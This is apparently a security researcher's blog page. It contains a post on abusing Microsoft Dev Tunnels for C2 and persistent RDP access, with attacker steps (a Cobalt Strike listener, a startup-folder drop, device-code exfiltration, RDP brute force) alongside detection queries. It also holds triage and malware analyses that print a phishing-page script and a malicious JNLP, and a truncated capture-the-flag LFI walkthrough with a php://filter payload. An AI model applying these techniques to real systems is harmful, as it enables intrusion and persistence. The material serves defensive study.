Tag: security

Microsoft Dev Tunnels: Tunnelling C2 and More

Attackers are always looking for ways to blend into an environment, to establish a C2 channel undetected. Utilising legitimate tooling for their malicious activities is a common way that they achieve this.

From a defender’s standpoint, spotting activity that’s meant to blend in can be quite challenging. A SOC team, especially one experiencing alert fatigue, might often resort to checking a domain or hash on VirusTotal. If it’s a known domain or hash, particularly one signed or trusted by Microsoft, they might quickly label it as a false positive and move on.

Microsoft Dev Tunnels

Dev Tunnels allow developers to expose services running locally to remote hosts, across the internet and tunneled through Microsoft infrastructure. For example, let’s say I have a simple webserver running on my PC, I want a colleague to be able to test the web page I’ve created. I can use a Dev Tunnel to expose port 443 on my host. A Microsoft Dev Tunnel domain is generated *.devtunnels.ms, I provide the URL to my colleague, and they can access the web service on my local host, via the Microsoft URL.

I can expose any service via the Dev Tunnels, including RDP and SSH. With the ability to tunnel traffic using Microsoft domains, you can imagine why this would be an attractive concept to attackers.

There have been increased reports of threat actors utilising Microsoft Dev Tunnels and other legitimate remote tools in their campaigns. So, let’s walk through the different ways Dev Tunnels can be abused by attackers.

Scenario One: Using for C2

Firstly, using Dev Tunnels for C2. Take the diagram below as an example. A victim PC has executed a payload, and the C2 beacon is configured to connect to a Microsoft Dev Tunnels domain.

In most environments, the domain will pass through any proxy or firewall, due to the domain belonging to Microsoft. The traffic is then forwarded by Microsoft to the attacker’s machine.

Dev Tunnel Diagram

Creating a tunnel

Meanwhile, if we look at the attacker’s perspective, all they need to do is install the dev tunnel binary, which is available on Mac, Linux, and Windows.

Some key details on establishing a tunnel below:

  • Authentication: To create a tunnel, you need to authenticate to either a personal GitHub or Microsoft Account. Obviously setting up an account with either is trivial.
  • Anonymous Access: You can configure a tunnel to allow anonymous access, allowing anyone to connect to your tunnel.
  • Tunnel ID: Following the creation of a tunnel, a tunnel ID is generated, this is used to connect two endpoints together through a tunnel.

The highlighted URL below is what we will use for our C2 beacon.

Dev Tunnel C2 URL

Establishing C2

The process for utilising a Dev Tunnel domain for C2 traffic will be similar across different C2 frameworks. Below is an example of creating a listener in Cobalt Strike.

  1. Select Beacon Type, usually HTTPS.
  2. Define the HTTPS host to listen on, in this case, it would be our tunnel domain, 8kl69l904-443.uks1.devtunnels.ms
  3. Define the HTTPS host (stager), the IP of your team server.
  4. Select HTTPS Port, 443.
Dev Tunnel Cobalt Strike

Example Event

In the event shown below, we can see connections to our tunnel domain, from our beacon process. The beacon process is a fake OneDrive binary, which has a forged Microsoft certificate.

@timestampdns.question.nameprocess.code_signature.subject_nameprocess.nameuser.nameprocess.code_signature.trusted
Sep 1, 2024 @ 11:44:50.1698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Sep 1, 2024 @ 11:44:50.1488kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6498kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
We’ve giving our payload a fake certificate, it’s signed, but not trusted.
Cobalt Strike Signed Binary
Elastic EDR Dev Tunnel Tree

Detecting Dev Tunnel C2

Detecting the usage of Dev Tunnels for C2 is challenging, as the Dev Tunnels binary does not need to be present on the target host. In cases where EDR or endpoint controls fail to detect the initial payload, detecting on network-based telemetry would be challenging. As expected, the TLS connections have a valid certificate as they are after all legitimate Microsoft domains.

Dev Tunnel Domain Signed

We can look to identifying C2 traffic by looking for constant connections to the Dev Tunnel domains over sustained periods. C2 traffic

Dev Tunnel C2 Detect

Below is the query used in TimeLion to generate the above:

.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='count'
).bars(),
.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='cardinality:destination.domain'
).lines(width=2, stack=false).label("Unique Domains")

We can also use a more generic C2 detections methods, looking for high volume connections to single domains. The below shows count of connections to single domains over a 24 hour period. We can see clear outliers to our Dev Tunnel C2 domains, where constant connections are made.

Dev Tunnel C2 Detect

Network with Endpoint Telemetry

Many EDR products now are able to join domain requests with the process responsible for making the request. You can also usually enrich the binary with certificate information, looking for connections to dev tunnel domains from a non-signed or untrusted certificate can also be a method of detection.

dns.question.name : *.uks1.devtunnels.ms and process.code_signature.trusted<br>: false  

This however will not help for payloads running from a trusted source. For example sideloading or injecting a payload into a trusted process like Outlook will be more difficult to detect.

As shown below, loading a secondary payload into Outlook, shows C2 to a trusted Microsoft Domain from a trusted Microsoft Process.

Dev Tunnels C2 from trusted Process

In these cases, anomaly C2 on the Dev Tunnel domains would be required. With analysts paying focus to the surrounding and contextual activity, like looking for unusual loads or injections into the process making the requests.


Using for Persistent Access

Dev Tunnels can be used for more than just C2. As we said before, any port can be exposed for remote usage. Therefore, RDP and SSH are good candidates, allowing a threat actor to establish persistent remote access.

Ideally, we would want a scripted method of establishing and maintaining remote access via Dev Tunnels.

I created a simple PowerShell Script that does the following on a victim host.

  • Downloads a copy of Dev Tunnels and places it in a Windows Start-Up Location.
    • Download from: https://aka.ms/TunnelsCliDownload/win-x64
    • Place in: C:\Users\paul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • Authenticates the Dev Tunnel process to an account.
    • More on this further down.
  • Sets up a tunnel, exposing port 3389 to allow for anonymous access.

Github Device Authentication

When first using Dev Tunnels on a device, you must authenticate. To do this in a scripted manner, we can use GitHub Device authentication:

devtunnel user login -g -d
Login with a GitHub account with device code login, if local interactive browser login isn’t possible

When this command is run, a device login code is written to the terminal. Using our PowerShell script, we can capture this code by writing it to a .txt file. We can then pull the string from the file, and send it to ourselves.

Dev Tunnel Script

We can use interactsh to receive the login code, but sending a POST request to our OAST domain from the PowerShell Script.

Dev Tunnel Git Login Code

We can then use the device code to authenticate to a our attacker GitHub account, via https://github.com/login/device

Dev Tunnel Git Auth

Establishing Tunnel

Now that we’ve authenticated, our PowerShell script can continue, by setting up a tunnel.

This is as easy as running a command like the one below. Port 3389 is being exposed and allows for anonymous login.

.\devtunnel.exe host -p 3389 -allow-anonymous

Dev Tunnel Setup via Script

Now that the tunnel is setup, we can authenticate to the same GitHub account from our attacker machine.

We can list out tunnels that are running within our account, and connect to the tunnel exposing RDP on our victim device by specifying the tunnel ID.

Dev Tunnel RDP

In order to connect via RDP we need to authenticate to a user on the device. If we do not already have a compromised user, we can brute force RDP via the tunnel.

Traffic is forwarded from local host, through the tunnel, to our victim host on port 3389. Therefor, to brute force, we specify local host as our target, and we’re able to brute force RDP on our victim host.

Dev Tunnel RDP Brute Force

Once we have an account to utilise, we can use a RDP client to connect. Again specifying the local host address as the the remote host, and authenticating with our compromised user.

Dev Tunnel RDP Connect
Dev Tunnel RDP Connect

This means you could in theory expose a host remotely, via a single PowerShell script, making it a candidate in phishing. This can be a method of bypassing RDP restrictions on a network, exposing internal hosts, remotely.

Detections

I’m using Elastic SIEM and Endpoint agent to collect telemetry and build custom detections.

Dev Tunnel Binary Execution Detection

In circumstances where an attacker has brought the Dev Tunnel binary onto disk, you could catch them with a simple:

Process.Name:devtunnel.exe OR File.Name:devtunnel.exe

But any decent operator is going to rename the process to something else.

You could look for the initial download, via PowerShell or WinGet

CommandLine= "*winget install Microsoft.devtunnel*"
OR 
URL= "*https://aka.ms/TunnelsCliDownload/win-x64*"

But again, these are easy to bypass, and an attacker will likely bring the tool down from their own infrastructure.

A more robust way of detection is took look for a certain DLL that the tunnel requires for operation. Looking at module load events and there’s a variety of DLLs loaded by the devtunnel.exe, but one sticks out as an easy detection, devtunnel.dll.

event.action: "load" and dll.name: "devtunnel.dll"

The DLL is loaded from a temp .net directory that is created on execution. This is a behaviour that an attacker would not be able to manipulate.

Tunnelling RDP Detection

You’ll notice the source IP in the logs for this activity is displayed as ::1, this is the loopback address for the host, or 127.0.0.1. As we are forwarding traffic from local host on our attacker machine from our victim machine, this is the address that is displayed.

Dev Tunnel RDP

Interestingly the logon type is captured as type 3, rather than type 10. The below query will show both successful and failed logons originating from a loopback address. Putting this into a detect would likely generate a lot of noise and FPs.

event.provider: "Microsoft-Windows-Security-Auditing" and event.code: 4625 or event.code : 4624 and (source.ip : "::1" or source.ip : 127.0.0.1)

Instead we can use a threshold detection to attempt to detect suspected brute forcing, from a loopback address.

Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect

Incident Response Triage & Logging

Unfortunately there is very little in the way of logging for Dev Tunnels. Unlike Microsoft VSCode Remote tunnels, which is a different implementation of the same underlying tunnel features, (more on how they can be abused another time), there is no dedicated logging for tunnel usage.

If you’re responding to an incident that involves the use of Dev Tunnels, and you do not have host or network telemetry, then your best option is to dump the Dev Tunnel process. We can get all the key information from the process dump.

Dev Tunnel URL from Memory
Dev Tunnel ID from Memory

Including the username the tunnel authenticated with.

Dev Tunnel username from Memory

Closing Thoughts

As shown, Dev Tunnels provide powerful capabilities that can be (and are) abused by Threat Actors, to make detection by Blue Teams more difficult. The best option is to outright block tunnel usage in the estate, this can be achieved by blocking the Dev Tunnel Domains listed below.

IOCs

File Hashes

FileNameSHA256
Devtunnel.execb2d8470a77930221f23415a57bc5d6901b89de6c091a3cfbc563e4bf0e7b4eb
devtunnel.dllc0513783d569051bdc230587729b1da881f7032c2ad6e8fedbbdcc61d813da25

Domains

DescriptionDomain
Dev Tunnel Domainglobal.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*-data.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.devtunnels.ms
GitHub Device Auth URL https://github.com/login/device
Tunnel Install URL https://aka.ms/TunnelsCliDownload/win-x64
Sticky post

SVCHost.exe and Internet Sharing Triage

Intro

I recently had an interesting case, which involved some digging into SVCHost.exe and command line parameters parsed to it.

The Scenario

It started with an alert for a large number of DNS requests associated with an InfoStealer, ViperSoftx, from a user laptop. There were thousands of requests to the domains in a 90-minute period. Looking at the Endpoint telemetry available for the device, I could see the responsible process for the DNS requests was SVCHost.exe. This was an immediate red flag.

SVCHost.exe

SVCHost.exe is a key Windows Operating System Process, it helps host Windows Services and can load DLLs used by Shared Service Processes. Outbound connections to domains from SVCHost.exe aren’t terribly common (especially to malicious domains). Historically, SVCHost.exe has been a common process for malware to inject into / perform process hollowing on. This is typically because it’s a process that tends to load different DLLs, creates and starts services, and is a stable process to inject into.

Continued Triage

In our case, there was no evidence of process injection into SVCHost.exe and no evidence of any unusual DLLs loaded either. The infostealer that our domains had been previously associated with has also been around for a while, and its TTPs are well known. It does not typically inject into SVCHost.exe but rather sideloads a payload DLL into its own executable. It then uses PowerShell to download a 2nd stage, I had seen none of these TTPs.

The traffic patterns also did not make sense. There would be hundreds of requests to the domains in a 90-minute period, then the connections would stop. Only to continue again a few days later for another 40 minutes, then nothing. For an infected host, we’d expect to see constant beaconing.

Command Line Arguments

The endpoint telemetry for the SVCHost.exe process responsible for the connections had command line arguments parsed. The arguments were key to determining what had occurred. I’ve recreated the telemetry on my own host, and captured with Symon. I use the Swift on Security Sysmon Config.

Replicated Example

In the example below, I’m connecting to my own site and two other security blogs. Both that I highly recommend checking out:

Sysmon Output

In the examples below we can see queries to our domains, as well as the responsible process and its command line.


Dns query:
RuleName: -
UtcTime: 2023-10-04 13:48:07.128
ProcessGuid: {de4ebfc2-6b69-651d-5e04-000000001000}
ProcessId: 12484
QueryName: kmsec.uk
QueryStatus: 0
QueryResults: 185.199.109.153;185.199.111.153;185.199.110.153;185.199.108.153;
Image: C:\Windows\System32\svchost.exe
CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s SharedAccess
User: NT AUTHORITY\SYSTEM


Dns query:
RuleName: -
UtcTime: 2023-10-04 13:47:57.910
ProcessGuid: {de4ebfc2-6b69-651d-5e04-000000001000}
ProcessId: 12484
QueryName: newtonpaul.com
QueryStatus: 0
QueryResults: 162.241.24.119;
Image: C:\Windows\System32\svchost.exe
CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s SharedAccess
User: NT AUTHORITY\SYSTEM


Dns query:
RuleName: -
UtcTime: 2023-10-04 13:48:17.490
ProcessGuid: {de4ebfc2-6b69-651d-5e04-000000001000}
ProcessId: 12484
QueryName: lowery.tech
QueryStatus: 0
QueryResults: 154.49.138.213;
Image: C:\Windows\System32\svchost.exe
CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s SharedAccess
User: NT AUTHORITY\SYSTEM

SharedAccess

The command line “C:\Windows\System32\svchost.exe -k netsvcs -p -s SharedAccess” is the key.

  • -k netsvcs: This indicates that the registry key for svchost shown below, should locate the value parsed by -k, which in this case is netsvcs.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs

In this case, netsvcs is a service group.

  • p -s SharedAccess: This is telling svchost to only load the SharedAccess service from the selected group parsed by -k.

Checking the SharedAccess service, we can see it has a display name of Internet Connection Sharing (ICS).

svchost.exe service

You can find out more about the Shared-Access Service here:

Internet Connection Sharing

This was the “aha” moment. What if it wasn’t our host that was infected, but another host sharing its internet connection? Internet Connection Sharing or ICS is essentially internet hotspotting. It allows you to share the internet connection on one device, with another.

This would also explain the start/stop nature of the C2 traffic. We’d only seen DNS requests from the SVCHost.exe hosting the ICS service, while the infected host was connected. During an ICS session, DNS requests from the remote host are essentially proxied through the svchost.exe process on our local host.

Confirming the Hypothesis

How can we know for sure that our hypothesis is correct? Well, some quick and dirty forensics is the answer.

I dumped the svchost.exe process responsible for the DNS requests (PID 12484).

A quick run of Strings across the .dmp, where I outputted the results into a .txt file.

strings 12484.dmp > svchost_strings.txt

Strings Output

# Copyright (c) 1993-2001 Microsoft Corp.
# This file has been automatically generated for use by Microsoft Internet
# Connection Sharing. It contains the mappings of IP addresses to host names
# for the home network. Please do not make changes to the HOSTS.ICS file.
# Any changes may result in a loss of connectivity between machines on the
# local network.
#192.168.137.246 vn-mon-99.mshome.net #
#192.168.137.1 LAPTOP-8FH6K397.mshome.net #

In the strings output, we can see the Internet Sharing session being established between our two hosts:

In addition to this, we can also see the domains that we beaconed out to, as well as other general host traffic, and SVCHost activity.

v10.events.data.microsoft.com
AMER08.azure-devices.net
AMER08.azure-devices.net
statics.teams.cdn.live.net
newtonpaul.com
v10.events.data.microsoft.com
gew1-spclient.spotify.com
lowery.tech
kmsec.uk
Inbound rule for Internet Connection Sharing to allow use of the IPv6 DHCP Server. [UDP 547]

Concluding Thoughts

With that, I was able to confirm that it wasn’t our initial host infected, but rather a personal host belonging to the user, connected via Internet Sharing.

That brings this mini-post to an end. Hopefully, if you encounter unusual DNS requests coming from svchost.exe with the ICS service loaded, you’ll save some time on triage.

Previous Posts

Check out some older posts here, or below.

Virtual Machine Aware Phishing Sites

The Phish Page

Recently I came across an interesting phishing page which when I browsed to, showed nothing but a white blank page. There was no 404, or server not found error, just an empty page.

DHL Phishing Site

I found this curious, so I observed the source code for the page. Much of the page was junk, however, after scrolling to the bottom, I did notice a script that looked of interest.

<script>
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl');
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
var renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
console.log(vendor);
console.log(renderer);
var width = screen.width;
var height = screen.height;
var color_depth = screen.colorDepth;

setTimeout(function(){
  if (true) {

    // seems we use data above to check render!

    if (/swiftshader/i.test(renderer.toLowerCase()) || /llvmpipe/i.test(renderer.toLowerCase()) || /virtualbox/i.test(renderer.toLowerCase()) || !renderer) {



      // blacklist!
       console.log("Virtual Machine / RDP");
    }
    
    
     else if (color_depth < 24 || width < 100 || width < 100 || !color_depth) {

      alert('bot detected')

      console.log("No Display (Probably Bot)")
    } 
    
    else {
      $.get("m3dularbh/ajax.php?n=m3d", function(data, status){ window.location.href = 'main/';}); // document ready
    }
  } 
  
 
 
}, 200);

It appears the script above is attempting to detect whether the user is viewing the webpage in a virtual machine or not. In short, it’s a virtual machine aware phishing page. It does this by checking a few values.

First, it attempts to get the value for two constants in relation to debugging the graphics driver used on a host. The WebGL API WEBGL_debug_renderer_info has two constants, which are debug Info.UNMASKED_RENDERER_WEBGL and debugInfo.UNMASKED_RENDERER_WEB. The script checks these for three values, swiftshader/llvmpipe/virtualbox. If the value matches one of these values, the phishing page is not shown.

Secondly, the script looks to check information around the user’s display, like size and colour depth, again this is to check whether the user is running in a VM. The default colour depth for a VirtualBox Virtual Machine is 24bit, which is what is being checked here.

If these conditions and checks are not met, then the page ” m3dularbh/ajax.php?n=m3d ” is loaded.

Why would a phishing page check if the user is viewing the page in a virtual machine? Well, most analysts analyse malicious pages in a dirty virtual machine to avoid causing an infection to their main device.

Bypassing Anti-analysis

So we now know what the script is looking for. When these conditions are met, we’re shown a blank page. But how do we bypass these anti-analysis techniques so we can see the actual phish page?

Well, it’s actually pretty easy, all we need is a Browser Extension. WebGL Fingerprint Defender allows you to spoof your Browser Fingerprint. Doing so allows us to see that the phishing page in this case was a well crafted DHL card harvester.

DHL Phishing Site

The extension WebGL Fingerprnt Defender is available for both Firefox and Chrome. There are also alternative extensions that do the same thing.

Threat Actor

When the phishing page is successfully loaded, a script called m3dularbh is run. I found this to be an interesting string, so I performed some OSINT on it. It would appear that m3dular is the name of the threat actor/phish kit used to generate this page and other similar courier based phishing campaigns.

Below we have another example of a post office based phish campaign with the same strings seen. Here we can see a bit more information on the structure of the phishing page.

m3dular phish kit

I then came across this Tweet which showed a telegram channel with what appears to be the threat actor advertising their services.

m3dular telegram channel

The phish pages from this phishing kit all seem to be high quality and it’s likely they all contain virtual machine aware phishing pages.

IOCS

Phishing Links

  • hxxps://royalmail.co.uk-redelivery[.]net/
  • hxxps://ce44966.tmweb[.]ru/
  • hxxps://www.billingissue-ee[.]com
  • hxxps://postofficeuk[.]online
  • hxxps:/royalmail-services[.]com
  • hxxps://royalices[.]com
  • hxxps://myinfo-postoffice[.]com
  • hxxps://payee-security-alerts[.]com

Mail IOCs

  • Sender Domain: support@package.failedeliveryattempt[.]com
  • Sender IP: 209.17.115[.]10
  • Mail Subject: Failed attempt to deliver your package!

References

https://developer.mozilla.org/en-US/docs/Web/API/WEBGL_debug_renderer_info

@JCyberSec_

@dave_daves

Analysing Fileless Malware: Cobalt Strike Beacon

Today we’re going to look at a malware campaign made up of multiple stages, with the end goal of establishing a C2 connection to a Cobalt Strike server. There are a few cool techniques that this campaign uses that we’re going to look at. I happened to come across the initial first stage phishing attachment while browsing for samples on VirusTotal and found it interesting as you do not commonly see JNLP attachments used for phishing. So, let’s get started.

Stage 1: Attachment Analysis

A JNLP file is a java web file, which when clicked, the application javaws.exe will attempt to load and execute the file. Javaws.exe is an application that is part of the Java Runtime Environment and is used to give internet functionality to java applications. JNLP files can be used to allow for applications hosted on a remote server to be launched locally. It is worth noting that to be susceptible to phishing via a JNLP the user will have to have java installed on their machine.

They are generally quite simple and are not difficult to analyse. You can easily view the content of a JNLP file by changing the extension to XML and loading the file in a text editor like notepad++. As shown in the XML code below, we can see that this JNLP file will be used to load and execute the JAR file FedEx_Delivery_invoice.jar from the domain hxxp://fedex-tracking.fun

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
	<title>Federal Express Service</title>
	<vendor>Federal Express</vendor>
	<homepagehref="www.fedex.com"/>
	<description>Federal Express documents online.</description>
		</information>
	<security>
		<all-permissions/>
	</security>
	<resources>
		<j2seversion="1.6+"/>
		<jarhref="FedEx_Delivery_invoice.jar"/>
	</resources>
		<application-descmain-class="FedEx_Service">
	</application-desc>
</jnlp>

As we know the name and location of the 2nd stage payload, we can try and download it. The domain hxxp://fedex-tracking.fun is still up, so we can download the FedEx_Delivery_invoice.jar file from here. Once we have the file, we will analyse it with JD-GUI. JD-GUI is a simple tool that allows you to decompile and view the code of JAR files. (I copied the code into Atom after opening with JD-GUI as I like the syntax highlighting there.)

Java phishing attachment
FedEx_Delivery_invoice.jar

As the code snippet above shows, the FedEx_Delivery_invoice.jarfile is going to attempt to download the file fedex912.exe from the domainhxxp://fedex-tracking[.]press. The executable will be placed into the Windows temp directory, where it will then be executed. The JAR file will also load the legitimate FedEx tracking website which is most likely to try and reassure the user that the file they have downloaded is a legitimate one.

Executable Analysis: Stage 2

Unfortunately, at the time of writing, the domain hosting the fedex912.exe is no longer active meaning we cannot download the file from here. However, there is a sample on Virus Total that we can download. I ran the executable in my analysis environment with process monitor and regshot and there were a few things of note. Firstly, the file fedex912.exe drops a new file called gennt.exe, which is basically just a copy of itself, into the directory C:\ProgramData\9ea94915b24a4616f72c\. The reason for placing the file here is that it is a hidden directory and not normally visible to the user. It then deletes the fedex912.exe file from the filesystem.

Process monitor

I used RegShot to take a before and after snapshot of the registry to compare the two after running the executable. The entry below shows the malware’s persistence mechanism. Adding the gennt.exe executable to the registry key here ensures that the malware is started every time Windows is restarted.

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

After doing some additional research on the executable, I found that it is supposed to launch cmd which then launches PowerShell. However, that did not occur on my test machine when running the executable. There could be a few reasons for this, one could be that the malware has anti-analysis capabilities and knows when it is being run in a standard VM. As my lab is not currently set up to counter VM aware malware, we are going to cheat slightly and use data from a sample that was run on AnyRun.

On the AnyRun analysis, we can see that cmd did launch "C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand” where a Base64 command was parsed to PowerShell. AnyRun records the command line, so let’s have a look into this. You can see the AnyRun anlysis here.

PowerShell Analysis: Stage 3

As is usually the case, the command line was encoded with Base64 so I used CyberChef to decode the text. Often when you decode Base64 text there will be a “.” between every single character. This is annoying but can easily be fixed by also adding a decode text operator to the recipe and setting the value to UTF-16LE(1200).

cyberchef recipe
Powershell script

We can see that the command is further encoded with Base64, and if we scroll further down to the bottom, we can also see that it has been compressed with GunZip. 

I used CyberChef to once again decode the Base64 and to decompress the GunZip Compression.

cyber chef recipe

After running the above CyberChef recipe there was finally some human-readable text. There’s a lot of interesting stuff happening here. So we essentially have three parts to the PowerShell script, there’s the first chunk with a couple of functions. The middle section with a Base64 Encoded block and a “for” statement. And then there’s the final section with some defined variables and an “if” statement. We’ll tackle the Base64 Encoded block first and look at the rest of the PowerShell script a little later.

NOTE: I had to split the code screenshots into two, as there is too much code to fit into one image. I’d much rather just post the raw code, rather than screenshots, but that would result in my site being flagged for hosting malware 😂. You can download the code samples at the bottom of this post.

Powershell memory injection cobalt strike beacon
Powershell Script part 1
Powershell memory injection cobalt strike beacon
Powershell Script part 2

One thing that immediately stands out is a “for” statement underneath the Base64 encoded text in the “Powershell Script part 2” image.

xor for statement

The “for” statement suggests that the Base64 block is encrypted with xor with a key of 35. We can also use CyberChef to decrypt this.    

Cyber Chef recipe
Cobalt Strike Shellcode
Decoded ShellCode

As shown in the above output, a lot of it is not human-readable but we can see what looks like an IP address and information about a User-Agent. The rest of the code that we cannot understand looks to be shellcode. Let us try and do some basic shellcode analysis to see what is going on here.

I used CyberChef to convert the code above into Hex. This is straight forward to do, and only requires an additional two operators to our current CyberChef recipe. One operator converts our code into Hex, and the other is a find and replace to remove the spacing.

Cyberchef recipe
Cobalt Strike Shellcode
ShellCode

Once we have our Hex code, you can save the output as a .dat file. Next, I used the tool scdbg to analyse the shellcode. This tool emulates basic Windows behaviour and can intercept what Windows API calls the shellcode is requesting by emulating the Windows API environment.

After parsing the .dat file to the tool, the output below is given. The shellcode loads the wininet API library and imports two functions which are used to establish an internet connection. We can see that the connection is established to the IP address we saw earlier over port 8080.

scdbg output from cobalt strike shell code.

As the shellcode does not import any other functions, it would appear that this is a simple beacon program that establishes a remote connection to the malicious IP. Additional commands are likely to be sent from the C2 server. The C2 IP address is a Ukrainian address, with ports 80, 8080 and 22 open.

Injecting into memory with PowerShell

So we’ve looked at our Base64 encoded block and determined that it’s some simple shellcode which is used to establish a connection to the C2 server. The one question we still have to answer is how is the shellcode executed? From looking at the rest of the PowerShell script, we can see that the shellcode is injected directly into memory. Below gives a basic summary of how it does this.

  1. First the script imports two functions GetModuleHandle and GetProcAddress from system.dll, and it does this by importing them directly from memory, so it does not load the DLL from disk. These are both Windows UnsafeNativeMethods. This method of loading DLLs in this way is called Run-Time Dynamic Linking, and you can read more on it here.
  2. These functions are then used to allocate space in memory for the function “var_va” which is the function which contains our shellcode.
  3. Then the script decodes and decrypts the shellcode, in the same way that we did earlier with CyberChef
  4. Next, the VirtualAlloc writes the shellcode function to space in memory for the calling process. In this case, that would be PowerShell. So, the shellcode is essentially injected into the memory space used by PowerShell.
  5. And finally, the shellcode is then executed, where it establishes a C2 channel with the Cobalt Strike server.

What is Coablt Strike?

AnyRun attributed the PowerShell activity to Cobalt Strike and the PowerShell script and the shellcode that we analysed matches the profile and behaviour of a Cobalt Strike Beacon. Cobalt Strike is a tool used for adversary simulations and red team operations. A key feature of the tool is being able to generate malware payloads and C2 channels. The Cobalt Strike Beacon that we saw is fileless, meaning that the PowerShell script injects the Beacon straight into memory and never touches disk. Once a Cobalt Strike Beacon is present on a device, the attacker has significant capability to perform additional actions including stealing tokens and credentials for lateral movement.

Conclusion

So that brings this post to an end. I hope you found the information here useful. It’s a simple example of fileless malware and I think a good introduction for those who are maybe not very familiar with the area. It’s certainly a topic that I’m interested and something I want to research further, so expect more posts on this in the future!

IOCs

First stage:

  • FedEx_Delivery_invoice.jnlp
    • SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
  • hxxp://fedex-tracking[.]fun


Second stage:

  • FedEx_Delivery_invoice.jar
    • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • hxxp://fedex-tracking[.]press

Third stage:

  • fedex912.exe / gennt.exe
    • SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
  • Run Location:
    • %PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe
  • Persistence Registry Key:
    • HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe

C2 Stage:

  • 176[.]103[.]56[.]89

Resources

Local File Inclusion Vulnerability Explained (with a bit of pentesting)

This post is going to look at a Local File Inclusion vulnerability and how it can be exploited to gain a shell on a web server. To demonstrate this I’m going to be using the PWNLab exercise from VulnHub as it uses a nice example of LFI and also requires some other basic pentest steps which I think are useful to know as well. I’ll be using ParrotOS as my “attacker” virtual machine.

What is LFI?

Local File Inclusion is a vulnerability which predominantly affects web applications that allows an attacker to read and execute files. There are many different types of LFI, in this example, we’ll be looking at a couple of examples which exploits LFI in PHP scripts. In most cases, LFI is caused by poor coding practice where variables are not properly defined or where sanitization is not used correctly, this can allow an attacker to upload or replace a file with their own malicious one, which is exactly what we’re going to do in this case.

Exploiting LFI

For those that wish to follow along, you can download the PWNLab VM image here.

To start we need to find out the IP address of our vulnerable device, we start by running a simple NMAP scan across the 192.168.1.0/24 range. We can see the IP address of our vulnerable device, and we can see from the NMAP scan that it’s running a web server, so let’s navigate to the IP in a web browser. We are greeted by a webpage with three buttons, the login and upload ones being of most interest. If we try to upload a file, we are told that we must log in first.

As always we’re going to need to perform some reconnaissance and scanning against this IP, as we know this is a web server, so our tool of choice in this instance is Nikto. For those who are unaware, Nikto is a vulnerability scanner which comes bundled in Kali, it focuses on vulnerabilities in web applications and is a really great tool. We run a Nikto scan on our target IP.

Straight away the first thing that jumps out at is the line

 /config.php: PHP Config file may contain database IDs and passwords.  

If we try to navigate to the page we’re greeted by a blank page. We can, however, try to read the contents of the PHP file. The command below uses a PHP-filter to bypass PHP execution by encoding the PHP code before it has a chance to execute and instead converts the output into base64.

http://192.168.1.72/?page=php://filter/convert.base64-encode/resource=config

We can then simply decode the output, where we are presented with the raw PHP code for the config file, which contains the login details to a database.

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

It’s worth at this point to get the source code for the other pages on the webserver, we do this by running the same php://filter/convert command that we ran previously, but changing the resource to the other pages.

Firstly the Index page. Straight away we can see that it contains an “include” vulnerability where it’s reference a cookie called lang. We’ll make a note of that, and come back to it later.

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

Next, we have the upload page, the main thing that sticks out here is that there is a whitelist on the type of file that can be uploaded to the webserver. It’s restricted to jpg, jpeg, gif, and png files, looking further down the code block we can see that it is not just the extension of the file that is whitelisted, but also the MIME type. If we want to upload a file onto the server, we’re going to have to bypass these whitelists.

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
